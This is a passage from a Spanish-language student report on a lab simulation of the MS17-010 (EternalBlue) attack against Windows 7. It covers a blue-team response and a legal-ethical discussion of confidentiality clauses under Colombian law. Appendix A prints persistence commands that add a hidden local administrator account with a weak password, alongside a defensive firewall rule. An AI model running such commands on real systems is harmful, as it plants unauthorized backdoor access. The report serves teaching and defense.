datos, sistemas y derechos humanos por encima de cualquier requisito contractual o comercial.

Los profesionales que aceptan contratos como el sugerido en el escenario de CyberFort

corren el riesgo de perder su integridad, pero también podrian sufrir las siguientes consecuencias:

Sanciones por ocultacion o cooperacion legal.

Pérdida de cualificaciones o licencias para profesionales.

Dafios irreparables a la reputacion personal o institucional.

Responsabilidad civil ante terceros afectados por la falta de denuncia.

Implicaciones organizacionales:

La falta de una politica de cumplimiento adecuada también se refleja en este tipo de
clausulas desde la perspectiva del gobierno corporativo. Segun la Ley 1474 de 2011 (Estatuto
Anticorrupcidn), las empresas que patrocinan contratos con este tipo de limitaciones violan los
principios de responsabilidad, transparencia y legalidad. Ademas, exponen a sus directivos al

riesgo de sanciones por su incapacidad para ejercer el control.

Las mejores practicas de la industria sugieren que:

Todos los contratos relacionados con la ciberseguridad deben ser examinados por un

equipo legal especializado.

El establecimiento de comités de ética internos ayudara a evaluar los riesgos para la

moralidad, la legalidad y la reputacién en operaciones cruciales.
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Se debe garantizar a los profesionales la capacidad de actuar de conformidad con la ley y

las normas de ética profesional sin temor a represalias contractuales.

Recomendaciones especificas

Evitar firmar contratos que incluyan cldusulas de confidencialidad absolutas que impidan

reportar actividades ilegales.

Formarse continuamente en legislacion nacional e internacional en temas de delitos

informaticos, proteccion de datos y ética digital.

Promover mecanismos internos de denuncia dentro de las organizaciones (como lineas

¢ticas o canales an6nimos).

Fomentar la cultura de integridad como valor estratégico en las empresas que operan en

el ambito tecnoldgico.
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Conclusiones

La simulacion del ataque con la vulnerabilidad MS17-010 evidencio que el uso de
protocolos obsoletos como SMBv1, sumado a la falta de actualizaciones de seguridad, expone a

las organizaciones a riesgos criticos de acceso no autorizado.

A pesar de su naturaleza teorica, el enfoque del Equipo Azul destac6 la importancia de la
deteccion temprana, la pronta eliminacion de vectores de persistencia y la implementacion de

mecanismos de refuerzo basados en estandares como CIS.

Desde el punto de vista legal, quedo claro que los contratos que prohiben a los
profesionales revelar actividades ilegales violan directamente la legislacion colombiana,

incluidas la Ley 1273 de 2009 y la Ley 1581 de 2012, asi como los derechos fundamentales.

El ejercicio permitio entender que el rol del profesional en ciberseguridad trasciende el
ambito técnico, exigiendo una postura critica, ética y juridicamente informada frente a su

entorno.
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Recomendaciones

Las organizaciones deben priorizar la eliminacion de protocolos obsoletos como SMBv1
y establecer procedimientos para la actualizacion y el mantenimiento periédicos de los sistemas
operativos y servicios. También deben reforzar las configuraciones de seguridad desde la primera

implementacion del sistema y crear listas blancas de servicios permitidos.

La segmentacion de la red, la autenticacion multifactor, la monitorizacion de registros, la
gestion de vulnerabilidades y los controles de acceso con privilegios minimos son elementos de

una estrategia de defensa integral que debe implementarse.

Para garantizar que no existan disposiciones que pongan en peligro la integridad ética o
legal del profesional, un equipo legal experto debe examinar cualquier contrato relacionado con

auditorias, pruebas de penetracion o consultoria en ciberseguridad.

Para fomentar el pensamiento critico sobre las implicaciones legales de la conducta
profesional, las instituciones educativas y las empresas deben mejorar la formacion ética y
regulatoria que imparten a sus equipos técnicos. Una de las competencias mas importantes en el

perfil de un profesional de seguridad debe ser la ética.

Finalmente, se sugiere a los profesionales en formacion a adoptar siempre una postura
preventiva y proactiva, dado que su trabajo afecta directamente a la seguridad de la informacion,
la reputacion corporativa y los derechos de los usuarios, mas alla de las cuestiones puramente

técnicas.



Apéndices

Apéndice A

Evidencia complementaria del ataque y defensa:

Script de persistencia usado en la post-explotacion

# Crear usuario con contrasefia

net user renzolopez 12345 /add

# Agregar al grupo de administradores

net localgroup administradores renzolopez /add

Comando de firewall propuesto para contencion:

netsh advfirewall firewall add rule name="Bloquear SMB" dir=in action=block

protocol=TCP localport=445

Herramientas empleadas:

e Nmap: reconocimiento y escaneo de puertos.

e Metasploit: explotacion del CVE-2017-0144.

e Kali Linux: entorno ofensivo.

e Visor de Eventos: monitoreo manual de logs.

e Firewall de Windows: bloqueo del puerto 445.

e SIEM sugerido: Wazuh o Splunk (en contexto real).
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Apéndice B

Figura 22

Usuario Creado

#. Windows 7 professional

Con la creacion exitosa del usuario 'renzolopez' con privilegios de administrador, se
demuestra que un atacante podria comprometer permanentemente el sistema explotando

EternalBlue,
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